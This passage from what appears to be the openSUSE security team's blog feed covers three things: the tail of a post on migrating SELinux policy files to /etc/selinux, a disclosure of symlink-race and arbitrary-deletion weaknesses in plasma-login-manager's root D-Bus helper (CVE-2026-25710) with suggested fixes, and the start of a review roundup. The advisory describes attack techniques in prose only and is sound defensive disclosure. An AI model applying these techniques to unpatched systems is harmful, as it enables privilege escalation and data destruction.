policy modules) is sufficient to fix the issues, but this is still an
undesirable characteristic of this legacy packaging structure.</p>

<h1 id="3-solution-migration-from-var-to-etc">3) Solution: migration from /var to /etc</h1>

<p>To permanently address the aforementioned issues, we decided to migrate SELinux
policy files under <code class="language-plaintext highlighter-rouge">/var/lib/selinux</code> to <code class="language-plaintext highlighter-rouge">/etc/selinux</code>. As mentioned, this
location was already used for other SELinux policy files, and is covered by the
snapshot and rollback mechanism.</p>

<p>The migration was tracked in <a href="https://bugzilla.opensuse.org/show_bug.cgi?id=1221342">bsc#1221342</a>. After a long
period of automated and manual testing over several months, the migration
was performed in Tumbleweed snapshot
<a href="https://lists.opensuse.org/archives/list/factory@lists.opensuse.org/message/YCAAJRIHH7TECRELF43ZIDNUAEZTF7UM/">20260505</a>.</p>

<p>Some of the challenges encountered during the implementation of the migration
process were:</p>
<ul>
  <li>different rollback and update behaviour on classical and transactional systems
(also transactional-update before version 5 used overlayfs for /etc)</li>
  <li>preserving existing local modifications to the SELinux configuration</li>
  <li>migrating custom modules (installed by packages or manually created by the
user)</li>
  <li>packaging changes or rebuilds of some packages to properly reflect location
changes, including RPM SELinux macros</li>
  <li>cleanup of <code class="language-plaintext highlighter-rouge">/var/lib/selinux</code> once no snapshot is using the old path</li>
  <li>installation on a fresh system, without migrating an existing system</li>
  <li>observability of discrepancies between migrated modules in
<code class="language-plaintext highlighter-rouge">/etc/selinux</code> and last pre-migration state in <code class="language-plaintext highlighter-rouge">/var/lib/selinux</code></li>
</ul>

<p>The migration process is automatic and in most situations will not be visible
to the user, except for information printed in the <code class="language-plaintext highlighter-rouge">zypper</code> output during the
update. The process takes care not only of the migration of policy
modules provided by the system SELinux policy (e.g. <code class="language-plaintext highlighter-rouge">selinux-policy-targeted</code>),
but also of custom modules installed by other packages (see below) and local
modifications to SELinux configuration (booleans, users, ports, …).</p>

<p>To allow the migration to be fully reverted, the process temporarily preserves
the “old” <code class="language-plaintext highlighter-rouge">/var/lib/selinux/</code> directory tree even after the migration. Once no
snapshots are found which still refer to <code class="language-plaintext highlighter-rouge">/var/lib/selinux</code>, the whole directory
tree is safely deleted.</p>

<p>Most of the steps are done during package update, except for the final cleanup
step which is performed on the system after the migration has been completed.
During package update, the migration process will:</p>
<ul>
  <li>print information about the migration process and inform the user if the
system satisfies the migration requirements (root BTRFS subvolume present) or
if a non-standard setup was detected (e.g. <code class="language-plaintext highlighter-rouge">/etc</code> on different BTRFS subvolume
or no BTRFS at all), and what to do in this case.</li>
  <li>check if the system has already been migrated and skip migration in this case
(using marker files in <code class="language-plaintext highlighter-rouge">/etc/selinux/selinux_modules_migrated-*</code>)</li>
  <li>backup the old location (<code class="language-plaintext highlighter-rouge">/var/lib/selinux</code>) to preserve state (marker files
<code class="language-plaintext highlighter-rouge">selinux_modules_pending-*</code> and <code class="language-plaintext highlighter-rouge">temp_selinux_modules_dir_created</code>)</li>
  <li>install package (modules) into the new location (<code class="language-plaintext highlighter-rouge">/etc/selinux</code>)</li>
  <li>copy local changes and custom modules (<code class="language-plaintext highlighter-rouge">*.local</code> files, <code class="language-plaintext highlighter-rouge">200</code>, <code class="language-plaintext highlighter-rouge">400</code> and
<code class="language-plaintext highlighter-rouge">disabled</code> folders) from the old location to the new location, show diff in
case of missing custom modules from <code class="language-plaintext highlighter-rouge">/etc/selinux</code> (marker file
<code class="language-plaintext highlighter-rouge">selinux_modules_migrated-*</code>)</li>
  <li>install cleanup systemd service (<code class="language-plaintext highlighter-rouge">cleanoldsepoldir.service</code>) and
script(<code class="language-plaintext highlighter-rouge">/usr/libexec/selinux/cleanoldsepoldir.sh</code>) to remove the old
<code class="language-plaintext highlighter-rouge">/var/lib/selinux</code> location once no snapshot is using it</li>
</ul>

<p>After package update:</p>
<ul>
  <li>at boot, the <code class="language-plaintext highlighter-rouge">cleanoldsepoldir</code> service checks if any snapshot still requires
<code class="language-plaintext highlighter-rouge">/var/lib/selinux</code>. If not, it removes the directory, and creates marker file
<code class="language-plaintext highlighter-rouge">var_lib_selinux_deleted</code> to stop the <code class="language-plaintext highlighter-rouge">cleanoldsepoldir</code> service from running
again.</li>
  <li>the cleanup script also allows the user to check if there are some custom
SELinux modules missing in the new location, and has some heuristics to find
the RPM packages of non-migrated modules to reinstall them</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>/usr/libexec/selinux/cleanoldsepoldir.sh <span class="nt">-h</span>
This script checks <span class="k">if </span>it is safe to remove the old /var/lib/selinux directory.

Usage:
  /usr/libexec/selinux/cleanoldsepoldir.sh <span class="o">(</span>Checks snapshots and deletes /var/lib/selinux <span class="k">if </span>safe<span class="o">)</span>
  /usr/libexec/selinux/cleanoldsepoldir.sh <span class="nt">--check-custom-selinux-modules</span> <span class="o">(</span>Checks <span class="k">for </span>unmigrated custom modules<span class="o">)</span>
  /usr/libexec/selinux/cleanoldsepoldir.sh <span class="nt">-h</span>|--help <span class="o">(</span>Displays this <span class="nb">help </span>message<span class="o">)</span>
</code></pre></div></div>

<h2 id="packages-involved-in-the-migration">Packages involved in the migration</h2>

<p>These packages contain the SELinux policy packaging and were the main object of
the migration:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">libsemanage-conf</code> (store-root set to <code class="language-plaintext highlighter-rouge">/etc/selinux/semanage.conf</code>)</li>
  <li><code class="language-plaintext highlighter-rouge">selinux-policy</code> (service <code class="language-plaintext highlighter-rouge">cleanoldsepoldir.service</code> and script
<code class="language-plaintext highlighter-rouge">cleanoldsepoldir.sh</code>)</li>
  <li><code class="language-plaintext highlighter-rouge">selinux-policy-*</code> (actual migration and marker files in <code class="language-plaintext highlighter-rouge">/etc/selinux</code>)</li>
</ul>

<p>All packages which set SELinux booleans were rebuilt:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">selinux-policy-targeted-gaming</code></li>
  <li><code class="language-plaintext highlighter-rouge">selinux-policy-sapenablement</code></li>
  <li><code class="language-plaintext highlighter-rouge">container-selinux</code></li>
  <li><code class="language-plaintext highlighter-rouge">libvirt</code></li>
</ul>

<p>Packages which ship custom SELinux modules were also fixed and rebuilt:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">cockpit-ws-selinux</code></li>
  <li><code class="language-plaintext highlighter-rouge">drbd-selinux</code></li>
  <li><code class="language-plaintext highlighter-rouge">google-guest-oslogin-selinux</code></li>
  <li><code class="language-plaintext highlighter-rouge">swtpm-selinux</code></li>
  <li><code class="language-plaintext highlighter-rouge">tigervnc-selinux</code></li>
  <li><code class="language-plaintext highlighter-rouge">tpm2.0-abrmd-selinux</code></li>
</ul>

<blockquote>
  <p>We tried to identify all packages affected by this migration, but if you
should find other packages in Tumbleweed which need to be migrated, please
report a <a href="https://en.opensuse.org/openSUSE:Bugreport_SELinux">bug</a>.</p>
</blockquote>

<h1 id="4-troubleshooting">4) Troubleshooting</h1>

<ul>
  <li>If you have a non-standard filesystem setup (e.g. using custom BTRFS
subvolumes, not using BTRFS at all, …) the migration may not work for you
fully. You can find out if the migration was successful by checking for the
presence of the directory <code class="language-plaintext highlighter-rouge">/etc/selinux/selinux_modules_migrated-*</code>
corresponding to your installed policy (e.g.
<code class="language-plaintext highlighter-rouge">/etc/selinux/selinux_modules_migrated-targeted</code>). If the directory exists,
the migration has been successful. If not, please open a <a href="https://en.opensuse.org/openSUSE:Bugreport_SELinux">bug</a>.</li>
  <li>If you observe any issues resembling those described in <a href="#2-issues-with-current-selinux-policy-packaging">Section
2</a>, you can resolve them by
reinstalling the <code class="language-plaintext highlighter-rouge">selinux-policy*</code> package and any affected external modules:
    <div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>zypper <span class="k">in</span> <span class="nt">-f</span> selinux-policy selinux-policy-targeted
</code></pre></div>    </div>
  </li>
  <li>After the migration, only the last state of <code class="language-plaintext highlighter-rouge">/var/lib/selinux</code> is preserved,
which means that some older snapshots may still be inconsistent with it. If
rolling back to one of these older snapshots is necessary, you can fix the
issues after rolling back by reinstalling the policy and any affected external
modules as detailed above.</li>
</ul>

<h1 id="5-closing-remarks">5) Closing Remarks</h1>

<p>The openSUSE SELinux team is committed to keeping openSUSE users safe with
SELinux, and to fixing problems that SELinux may cause to the community. To
facilitate changes with SELinux we rely on users to work with us and provide
feedback, so that we understand what the current problematic areas are. If you
encounter problems with SELinux feel free to open a <a href="https://en.opensuse.org/openSUSE:Bugreport_SELinux">bug</a> or reach
out over the <a href="https://lists.opensuse.org/archives/list/selinux@lists.opensuse.org/">mailing list</a>.</p>

<h1 id="6-references">6) References</h1>

<ul>
  <li><a href="https://news.opensuse.org/2025/02/13/tw-plans-to-adopt-selinux-as-default/">Tumbleweed Adopts SELinux as Default</a></li>
  <li><a href="https://bugzilla.opensuse.org/show_bug.cgi?id=1221342">Policy migration tracker bug</a></li>
  <li><a href="https://en.opensuse.org/openSUSE:Bugreport_SELinux">openSUSE Bugreport SELinux</a></li>
  <li><a href="https://lists.opensuse.org/archives/list/selinux@lists.opensuse.org/">openSUSE SELinux Mailing List</a></li>
</ul>

<h1 id="change-history">Change History</h1>

<table>
  <tbody>
    <tr>
      <td>2026-05-11</td>
      <td><a href="#3-solution-migration-from-var-to-etc">Section 3</a>: mentioned the specific Tumbleweed snapshot which introduced the migration (<a href="https://lists.opensuse.org/archives/list/factory@lists.opensuse.org/message/YCAAJRIHH7TECRELF43ZIDNUAEZTF7UM/">20260505</a>) and adjusted phrasing.</td>
    </tr>
  </tbody>
</table>]]></content><author><name>Zdenek Kubala, &lt;a href=&apos;mailto:filippo.bonazzi@suse.com&apos;&gt;Filippo Bonazzi (editor)&lt;/a&gt;</name></author><category term="selinux" /><summary type="html"><![CDATA[The traditional SELinux policy location /var/lib/selinux is not supported by the openSUSE snapshot and rollback mechanism. openSUSE is now migrating the policy packaging to locations supported by this mechanism, which will allow for proper policy snapshots and rollbacks.]]></summary></entry><entry><title type="html">plasma-login-manager: Weaknesses in plasmaloginauthhelper (CVE-2026-25710)</title><link href="https://security.opensuse.org/2026/04/27/plasma-login-manager.html" rel="alternate" type="text/html" title="plasma-login-manager: Weaknesses in plasmaloginauthhelper (CVE-2026-25710)" /><published>2026-04-27T00:00:00+00:00</published><updated>2026-04-27T00:00:00+00:00</updated><id>https://security.opensuse.org/2026/04/27/plasma-login-manager</id><content type="html" xml:base="https://security.opensuse.org/2026/04/27/plasma-login-manager.html"><![CDATA[<h1 class="no_toc" id="table-of-contents">Table of Contents</h1>

<ul id="markdown-toc">
  <li><a href="#1-introduction" id="markdown-toc-1-introduction">1) Introduction</a></li>
  <li><a href="#2-helper-overview" id="markdown-toc-2-helper-overview">2) Helper Overview</a></li>
  <li><a href="#3-security-issues" id="markdown-toc-3-security-issues">3) Security Issues</a>    <ul>
      <li><a href="#3a-arbitrary-chown-via-symlink-attack-in-sync-method" id="markdown-toc-3a-arbitrary-chown-via-symlink-attack-in-sync-method">3.a) Arbitrary <code class="language-plaintext highlighter-rouge">chown()</code> via Symlink Attack in <code class="language-plaintext highlighter-rouge">sync()</code> Method</a></li>
      <li><a href="#3b-arbitrary-file-deletion-in-reset-method" id="markdown-toc-3b-arbitrary-file-deletion-in-reset-method">3.b) Arbitrary File Deletion in <code class="language-plaintext highlighter-rouge">reset()</code> Method</a></li>
      <li><a href="#3c-symlink-attack-via-varlibplasmaloginwallpapers-in-save-method" id="markdown-toc-3c-symlink-attack-via-varlibplasmaloginwallpapers-in-save-method">3.c) Symlink Attack via <code class="language-plaintext highlighter-rouge">/var/lib/plasmalogin/wallpapers</code> in <code class="language-plaintext highlighter-rouge">save()</code> Method</a></li>
      <li><a href="#3d-missing-integrity-check-of-configuration-data-in-save-method" id="markdown-toc-3d-missing-integrity-check-of-configuration-data-in-save-method">3.d) Missing Integrity Check of Configuration Data in <code class="language-plaintext highlighter-rouge">save()</code> Method</a></li>
      <li><a href="#3e-lack-of-file-descriptor-and-file-size-verification-in-save-method" id="markdown-toc-3e-lack-of-file-descriptor-and-file-size-verification-in-save-method">3.e) Lack of File Descriptor and File Size Verification in <code class="language-plaintext highlighter-rouge">save()</code> Method</a></li>
    </ul>
  </li>
  <li><a href="#4-suggested-fixes" id="markdown-toc-4-suggested-fixes">4) Suggested Fixes</a></li>
  <li><a href="#5-severity" id="markdown-toc-5-severity">5) Severity</a></li>
  <li><a href="#6-upstream-bugfix" id="markdown-toc-6-upstream-bugfix">6) Upstream Bugfix</a></li>
  <li><a href="#7-cve-assignment" id="markdown-toc-7-cve-assignment">7) CVE Assignment</a></li>
  <li><a href="#8-timeline" id="markdown-toc-8-timeline">8) Timeline</a></li>
  <li><a href="#9-references" id="markdown-toc-9-references">9) References</a></li>
</ul>

<h1 id="1-introduction">1) Introduction</h1>

<p>In recent releases of the KDE desktop environment a fork of the <a href="https://www.github.com/sddm/sddm">SDDM display
manager</a> called <a href="https://invent.kde.org/plasma/plasma-login-manager">plasma-login-manager</a> has been
integrated. As usual this led to <a href="https://bugzilla.suse.com/show_bug.cgi?id=1260039">a review</a> in our team for the
privileged D-Bus components contained in the package. While most of the code
<a href="https://bugzilla.suse.com/show_bug.cgi?id=1260402">remains the same</a>, the new upstream added a <a href="https://invent.kde.org/plasma/plasma-login-manager/-/blob/v6.6.2/src/frontend/kcm/auth/plasmaloginauthhelper.cpp?ref_type=tags">privileged D-Bus
helper</a> called <code class="language-plaintext highlighter-rouge">plasmaloginauthhelper</code>, which suffers from
<a href="https://bugzilla.suse.com/show_bug.cgi?id=1260930">defense-in-depth security issues</a>. The full details of the
issues will be discussed in the following sections.</p>

<p>For this review we looked into plasma-login-manager <a href="https://invent.kde.org/plasma/plasma-login-manager/-/tree/v6.6.2?ref_type=tags">version
6.6.2</a>.</p>

<h1 id="2-helper-overview">2) Helper Overview</h1>

<p><code class="language-plaintext highlighter-rouge">plasmaloginauthhelper</code> makes the D-Bus interface
“org.kde.kcontrol.kcmplasmalogin” accessible to all users in the system via
the D-Bus system bus. It offers three actions <code class="language-plaintext highlighter-rouge">sync()</code>, <code class="language-plaintext highlighter-rouge">reset()</code> and <code class="language-plaintext highlighter-rouge">save()</code>
which are all by default protected by Polkit’s <code class="language-plaintext highlighter-rouge">auth_admin</code> setting.</p>

<p>These methods allow to manage configuration data stored in the home directory
of the <code class="language-plaintext highlighter-rouge">plasmalogin</code> service user, which has a preset of <code class="language-plaintext highlighter-rouge">/var/lib/plasmalogin</code>.
The helper runs with full root privileges and interprets various
client-supplied data. The <code class="language-plaintext highlighter-rouge">plasmalogin</code> home directory has the following
permissions:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>drwxr-x--- 5 plasmalogin plasmalogin 4.0K Mar 24 13:25
</code></pre></div></div>

<p>Actually this helper is also a kind of fork of a helper found in the
<code class="language-plaintext highlighter-rouge">sddm-kcm</code> repository, which we covered <a href="/2024/04/02/kde6-dbus-polkit.html#problematic-file-system-operations-in-sddm-kcm6">in a previous
report</a>. It seems the codebase has not improved since then,
but rather additional attack surface has been added in the meantime.</p>

<h1 id="3-security-issues">3) Security Issues</h1>

<h2 id="3a-arbitrary-chown-via-symlink-attack-in-sync-method">3.a) Arbitrary <code class="language-plaintext highlighter-rouge">chown()</code> via Symlink Attack in <code class="language-plaintext highlighter-rouge">sync()</code> Method</h2>

<p>In the <a href="https://invent.kde.org/plasma/plasma-login-manager/-/blob/v6.6.2/src/frontend/kcm/auth/plasmaloginauthhelper.cpp?ref_type=tags#L61"><code class="language-plaintext highlighter-rouge">sync()</code> method</a> the helper service naively performs
<a href="https://invent.kde.org/plasma/plasma-login-manager/-/blob/v6.6.2/src/frontend/kcm/auth/plasmaloginauthhelper.cpp?ref_type=tags#L85"><code class="language-plaintext highlighter-rouge">chown()</code> calls</a> on files located in the service user’s home
directory (<code class="language-plaintext highlighter-rouge">/var/lib/plasmalogin</code>), allowing a <code class="language-plaintext highlighter-rouge">plasmalogin</code> to <code class="language-plaintext highlighter-rouge">root</code>
exploit.</p>

<p>The <code class="language-plaintext highlighter-rouge">chown()</code> is performed for the paths <code class="language-plaintext highlighter-rouge">$PLASMALOGIN_HOME/.config</code>,
<code class="language-plaintext highlighter-rouge">$PLASMALOGIN_HOME/.config/fontconfig</code> as well for a list of configuration
files like <code class="language-plaintext highlighter-rouge">plasmarc</code> placed into <code class="language-plaintext highlighter-rouge">$PLASMALOGIN_HOME/.config</code>.</p>

<p>A compromised <code class="language-plaintext highlighter-rouge">plasmalogin</code> service account can place symbolic links here to
direct the <code class="language-plaintext highlighter-rouge">chown()</code> to arbitrary files in the system. After the <code class="language-plaintext highlighter-rouge">chown()</code> the
helper writes client-supplied content into these files, which will also end up
in arbitrary files in case of a symlink attack.</p>

<p>This method’s logic would also allow deletion of certain files like <code class="language-plaintext highlighter-rouge">plasmarc</code>
in arbitrary directories, would the <a href="https://invent.kde.org/plasma/plasma-login-manager/-/blob/v6.6.2/src/frontend/kcm/auth/plasmaloginauthhelper.cpp?ref_type=tags#L99">relevant
statement</a> in the service implementation not lack the
final filename component in the path construction:</p>

<div class="language-c++ highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">QFile</span><span class="p">(</span><span class="n">homeDir</span> <span class="o">+</span> <span class="n">QStringLiteral</span><span class="p">(</span><span class="s">"/.config/"</span><span class="p">)).</span><span class="n">remove</span><span class="p">();</span>
</code></pre></div></div>

<p>Thus this removal logic doesn’t work at all at the moment, since it attempts
to remove the <code class="language-plaintext highlighter-rouge">.config</code> directory instead of the actual configuration files.</p>

<h2 id="3b-arbitrary-file-deletion-in-reset-method">3.b) Arbitrary File Deletion in <code class="language-plaintext highlighter-rouge">reset()</code> Method</h2>

<p>In the <a href="https://invent.kde.org/plasma/plasma-login-manager/-/blob/v6.6.2/src/frontend/kcm/auth/plasmaloginauthhelper.cpp?ref_type=tags#L125"><code class="language-plaintext highlighter-rouge">reset()</code> method</a> the paths <code class="language-plaintext highlighter-rouge">$PLASMALOGIN_HOME/.cache</code> and
<code class="language-plaintext highlighter-rouge">$PLASMALOGIN_HOME/.config/fontconfig</code> are recursively deleted. For this
purpose the Qt API <code class="language-plaintext highlighter-rouge">QDir::removeRecursively()</code> is used. <a href="https://github.com/qt/qtbase/blob/90b845d15ffb97693dba527385db83510ebd121a/src/corelib/io/qdir.cpp#L1666">The
implementation</a> of this function follows symbolic links even in the
final path component, which means that a compromised <code class="language-plaintext highlighter-rouge">plasmalogin</code> service
user can leverage this logic to achieve the deletion of arbitrary directory
trees in the system.</p>

<h2 id="3c-symlink-attack-via-varlibplasmaloginwallpapers-in-save-method">3.c) Symlink Attack via <code class="language-plaintext highlighter-rouge">/var/lib/plasmalogin/wallpapers</code> in <code class="language-plaintext highlighter-rouge">save()</code> Method</h2>

<p>In the <a href="https://invent.kde.org/plasma/plasma-login-manager/-/blob/v6.6.2/src/frontend/kcm/auth/plasmaloginauthhelper.cpp?ref_type=tags#L161"><code class="language-plaintext highlighter-rouge">save()</code> method</a> the path <code class="language-plaintext highlighter-rouge">/var/lib/plasmalogin/wallpapers</code>
is <a href="https://invent.kde.org/plasma/plasma-login-manager/-/blob/v6.6.2/src/frontend/kcm/auth/plasmaloginauthhelper.cpp?ref_type=tags#L195">created and opened by root</a>, using a system call
sequence affected by a race condition. A compromised <code class="language-plaintext highlighter-rouge">plasmalogin</code> user can
replace the directory by a symbolic link in time for the service to write
wallpaper files to arbitrary locations in the system, leading to local
Denial-of-Service (DoS) and integrity violation.</p>

<p>In this spot the helper employs a low-level <a href="https://invent.kde.org/plasma/plasma-login-manager/-/blob/v6.6.2/src/frontend/kcm/auth/plasmaloginauthhelper.cpp?ref_type=tags#L225"><code class="language-plaintext highlighter-rouge">openat2()</code> system
call</a> to avoid symbolic link resolution, but this only
applies to the actual files placed within the wallpaper directory, not to the
directory itself, which is naively opened before that.</p>

<h2 id="3d-missing-integrity-check-of-configuration-data-in-save-method">3.d) Missing Integrity Check of Configuration Data in <code class="language-plaintext highlighter-rouge">save()</code> Method</h2>

<p>In the <code class="language-plaintext highlighter-rouge">save()</code> method the contents of the file <code class="language-plaintext highlighter-rouge">/etc/plasmalogin.conf</code> can be
<a href="https://invent.kde.org/plasma/plasma-login-manager/-/blob/v6.6.2/src/frontend/kcm/auth/plasmaloginauthhelper.cpp?ref_type=tags#L169">completely controlled by the caller</a>. Since this
method is protected by <code class="language-plaintext highlighter-rouge">auth_admin</code> Polkit authentication this is basically
acceptable, but there is not even an integrity or syntax check of the data,
the method blindly forwards whatever the client passes to it into this file,
without a maximum size limit or any sanity checks. While this is not directly a
security issue it is a lack of robustness, because the D-Bus service is
responsible for maintaining a sane structure of the privileged configuration
file, preventing a broken system e.g. in case of buggy clients.</p>

<h2 id="3e-lack-of-file-descriptor-and-file-size-verification-in-save-method">3.e) Lack of File Descriptor and File Size Verification in <code class="language-plaintext highlighter-rouge">save()</code> Method</h2>

<p>For the actual wallpaper files, <a href="/2024/08/13/summer-spotlight.html#kde6-release-final-touches-and-improvements">file descriptor passing</a>
is employed, which is good. There is no upper limit enforced on the amount of
data placed into the wallpapers directory, however, which allows to exhaust
disk space in <code class="language-plaintext highlighter-rouge">/var/lib/plasmalogin</code>.</p>

<p>Even file descriptors passed from clients should be verified to check whether
they refer to regular files and have no unexpected file flags set. This
verification is missing.</p>

<h1 id="4-suggested-fixes">4) Suggested Fixes</h1>

<p>We suggested the following fixes to upstream:</p>

<ul>
  <li>Foremost the helper should drop privileges to the <code class="language-plaintext highlighter-rouge">plasmalogin</code> user before
performing any file system operations in <code class="language-plaintext highlighter-rouge">/var/lib/plasmalogin</code>, thereby
eliminating all symlink attack surface. There still remains
Denial-of-Service (DoS) attack surface if the service user places e.g. a named
FIFO pipe somewhere. Avoiding this requires careful inspection of each path
component by the service before opening it.</li>
  <li>The helper should verify the structure and size of data written to
<code class="language-plaintext highlighter-rouge">/etc/plasmalogin.conf</code>.</li>
  <li>The helper should place a limit on the maximum amount of space which
may be used for wallpapers in the <code class="language-plaintext highlighter-rouge">plasmalogin</code> user’s home directory.</li>
  <li>The helper should verify the type and flags of file descriptors passed
by the client. The descriptors should not have special file types and
they should not have any unexpected flags like <code class="language-plaintext highlighter-rouge">O_PATH</code> set.</li>
</ul>

<h1 id="5-severity">5) Severity</h1>

<p>None of the issues in this report is exploitable in a default installation of
<code class="language-plaintext highlighter-rouge">plasma-login-manager</code>. Most of the problems affect the situation when the
<code class="language-plaintext highlighter-rouge">plasmalogin</code> service user is compromised and thus affect defense-in-depth.</p>

<p>It is conceivable, however,  that some actions in the helper, like the
wallpaper management, could be reduced to lesser authentication requirements
like a Polkit <code class="language-plaintext highlighter-rouge">yes</code> setting for locally logged-in users in the future, be it
due to upstream changes or due to choices made by system integrators. Then
further problems like disk space exhaustion by other unprivileged users could
sneak in as well.</p>

<p>Based on the high severity of the defense-in-depth issues shown in this
report, our assessment is that there is effectively no separation between
<code class="language-plaintext highlighter-rouge">root</code> and the <code class="language-plaintext highlighter-rouge">plasmalogin</code> service user account.</p>

<h1 id="6-upstream-bugfix">6) Upstream Bugfix</h1>

<p>At this time there is no bugfix available by upstream, but a security fix
is planned for the next Plasma release on May 12. We have not been involved in
upstream’s bugfix process so far and have no knowledge about the approach that
will be taken to address the issues from this report.</p>

<h1 id="7-cve-assignment">7) CVE Assignment</h1>

<p>We suggested a single CVE assignment relating to the lack of privilege drop of
the D-Bus service, which is the root cause of most of the issues described in
this report. In coordination with upstream we assigned CVE-2026-25710 and
shared it with them to track these defects.</p>

<h1 id="8-timeline">8) Timeline</h1>

<table>
  <tbody>
    <tr>
      <td>2026-03-30</td>
      <td>We reached out to security@kde.org with a report of the problems, offering coordinated disclosure. We stated that in our eyes, due to the issues being restricted to defense-in-depth, an embargo would not be strictly necessary.</td>
    </tr>
    <tr>
      <td>2026-03-30</td>
      <td>Upstream provided a short reply, asking for a CVE assignment.</td>
    </tr>
    <tr>
      <td>2026-03-31</td>
      <td>We assigned CVE-2026-25710 and shared it with upstream.</td>
    </tr>
    <tr>
      <td>2026-04-13</td>
      <td>Lacking a more detailed response from upstream we asked once more whether they would like to perform coordinated disclosure and what the desired coordinated release date (CRD) would be in that case.</td>
    </tr>
    <tr>
      <td>2026-04-13</td>
      <td>We received a reply from upstream stating that no coordinated disclosure would be necessary and bugfixes would be published via public pull requests soon in expectation of a security release on May 12.</td>
    </tr>
    <tr>
      <td>2026-04-13</td>
      <td>To be sure we asked upstream once more whether they agreed to us publishing the report right away.</td>
    </tr>
    <tr>
      <td>2026-04-20</td>
      <td>Lacking a response and with no visible publication on upstream’s end we asked once more if publication on our end would be acceptable for them.</td>
    </tr>
    <tr>
      <td>2026-04-21</td>
      <td>We received a response confirming that we were allowed to publish right away.</td>
    </tr>
  </tbody>
</table>

<h1 id="9-references">9) References</h1>

<ul>
  <li><a href="/2024/04/02/kde6-dbus-polkit.html#problematic-file-system-operations-in-sddm-kcm6">blog post about issues in sddm-kcm6</a></li>
  <li><a href="/2024/08/13/summer-spotlight.html#kde6-release-final-touches-and-improvements">blog post about the introduction of file descriptor passing in kauth</a></li>
  <li><a href="https://bugzilla.suse.com/show_bug.cgi?id=1260930">openSUSE plasma-login-manager KCM helper review bug</a></li>
  <li><a href="https://invent.kde.org/plasma/plasma-login-manager/-/blob/v6.6.2/src/frontend/kcm/auth/plasmaloginauthhelper.cpp?ref_type=tags">plasmaloginauthhelper code</a></li>
  <li><a href="https://invent.kde.org/plasma/plasma-login-manager">plasma-login-manager repository</a></li>
</ul>]]></content><author><name>&lt;a href=&apos;mailto:matthias.gerstner@suse.de&apos;&gt;Matthias Gerstner&lt;/a&gt;, &lt;a href=&apos;mailto:filippo.bonazzi@suse.com&apos;&gt;Filippo Bonazzi (editor)&lt;/a&gt;</name></author><category term="CVE" /><category term="D-Bus" /><summary type="html"><![CDATA[plasma-login-manager, a new display manager component in KDE, contains a privileged D-Bus helper which suffers from defense-in-depth issues allowing the plasmalogin service user to escalate to root in various ways.]]></summary></entry><entry><title type="html">SUSE Security Team Spotlight Winter 2025/2026</title><link href="https://security.opensuse.org/2026/04/20/winter-spotlight.html" rel="alternate" type="text/html" title="SUSE Security Team Spotlight Winter 2025/2026" /><published>2026-04-20T00:00:00+00:00</published><updated>2026-04-20T00:00:00+00:00</updated><id>https://security.opensuse.org/2026/04/20/winter-spotlight</id><content type="html" xml:base="https://security.opensuse.org/2026/04/20/winter-spotlight.html"><![CDATA[<h1 class="no_toc" id="table-of-contents">Table of Contents</h1>

<ul id="markdown-toc">
  <li><a href="#1-introduction" id="markdown-toc-1-introduction">1) Introduction</a></li>
  <li><a href="#section-systemd" id="markdown-toc-section-systemd">2) systemd v258 - v260 Continued Reviews of D-Bus and Varlink Changes</a></li>
  <li><a href="#section-snap" id="markdown-toc-section-snap">3) snapd: Follow-up Audit for Transparent Inclusion of Snap Systemd Services</a></li>
  <li><a href="#section-bootkitd" id="markdown-toc-section-bootkitd">4) bootkitd: D-Bus Service for Manipulating Bootloader Configuration</a></li>
  <li><a href="#section-libpgpr" id="markdown-toc-section-libpgpr">5) libpgpr: RPM PGP Signature Parsing Library</a></li>
  <li><a href="#section-gdm" id="markdown-toc-section-gdm">6) GDM: Changes and Additions in Release 50</a></li>
  <li><a href="#section-rtkit" id="markdown-toc-section-rtkit">7) rtkit: D-Bus Service to Support Unprivileged Realtime Scheduling</a></li>
  <li><a href="#section-steamos" id="markdown-toc-section-steamos">8) SteamOS Package Additions</a>    <ul>
      <li><a href="#jupiter-fan-control" id="markdown-toc-jupiter-fan-control">jupiter-fan-control</a></li>
      <li><a href="#gamescope-session-steam-factory-reset" id="markdown-toc-gamescope-session-steam-factory-reset">gamescope-session-steam-factory-reset</a></li>
      <li><a href="#jupiter-hw-support" id="markdown-toc-jupiter-hw-support">jupiter-hw-support</a></li>
    </ul>
  </li>
  <li><a href="#section-deepin" id="markdown-toc-section-deepin">9) Revisit of Deepin Desktop D-Bus Services after Removal from openSUSE</a>    <ul>
      <li><a href="#backlight-helper" id="markdown-toc-backlight-helper">Backlight Helper</a></li>
      <li><a href="#accounts-service" id="markdown-toc-accounts-service">Accounts Service</a></li>
      <li><a href="#summary" id="markdown-toc-summary">Summary</a></li>
    </ul>
  </li>
  <li><a href="#10-conclusion" id="markdown-toc-10-conclusion">10) Conclusion</a></li>
</ul>

<h1 id="1-introduction">1) Introduction</h1>

<p>The winter months have passed for us and as usual we want to give you an
overview of what topics our team covered in the area of code reviews during
this time. We did not publish any dedicated security reports for a while, after
we had to deal with a little burst of publications at the beginning of the
year. Still we haven’t been idle during this time and looked into various
packages and components, which we will cover in this post.</p>

<p>The <a href="#section-systemd">next section</a> discusses continued review efforts
surrounding new systemd releases. <a href="#section-snap">Section 3</a> covers a follow-up
audit of changes in the Snap package manager. <a href="#section-bootkitd">Section 4</a>
looks at <code class="language-plaintext highlighter-rouge">bootkitd</code>, a D-Bus service for managing bootloader configuration.
<a href="#section-libpgpr">Section 5</a> deals with <code class="language-plaintext highlighter-rouge">libpgpr</code>, a signature parsing library
which was pulled out of the RPM package manager codebase. <a href="#section-gdm">Section
6</a> is about changes we reviewed in a new release of GNOME display
manager (GDM). <a href="#section-rtkit">Section 7</a> contains a review report about the
<code class="language-plaintext highlighter-rouge">rtkit</code> real-time scheduling D-Bus service. <a href="#section-steamos">Section 8</a>
provides an insight into efforts to package SteamOS components for openSUSE
Tumbleweed. <a href="#section-deepin">Section 9</a> looks into an attempt to get Deepin
desktop components back into openSUSE.</p>

<h1 id="section-systemd">2) systemd v258 - v260 Continued Reviews of D-Bus and Varlink Changes</h1>

<p>We already gave an insight into our efforts of reviewing changes in systemd
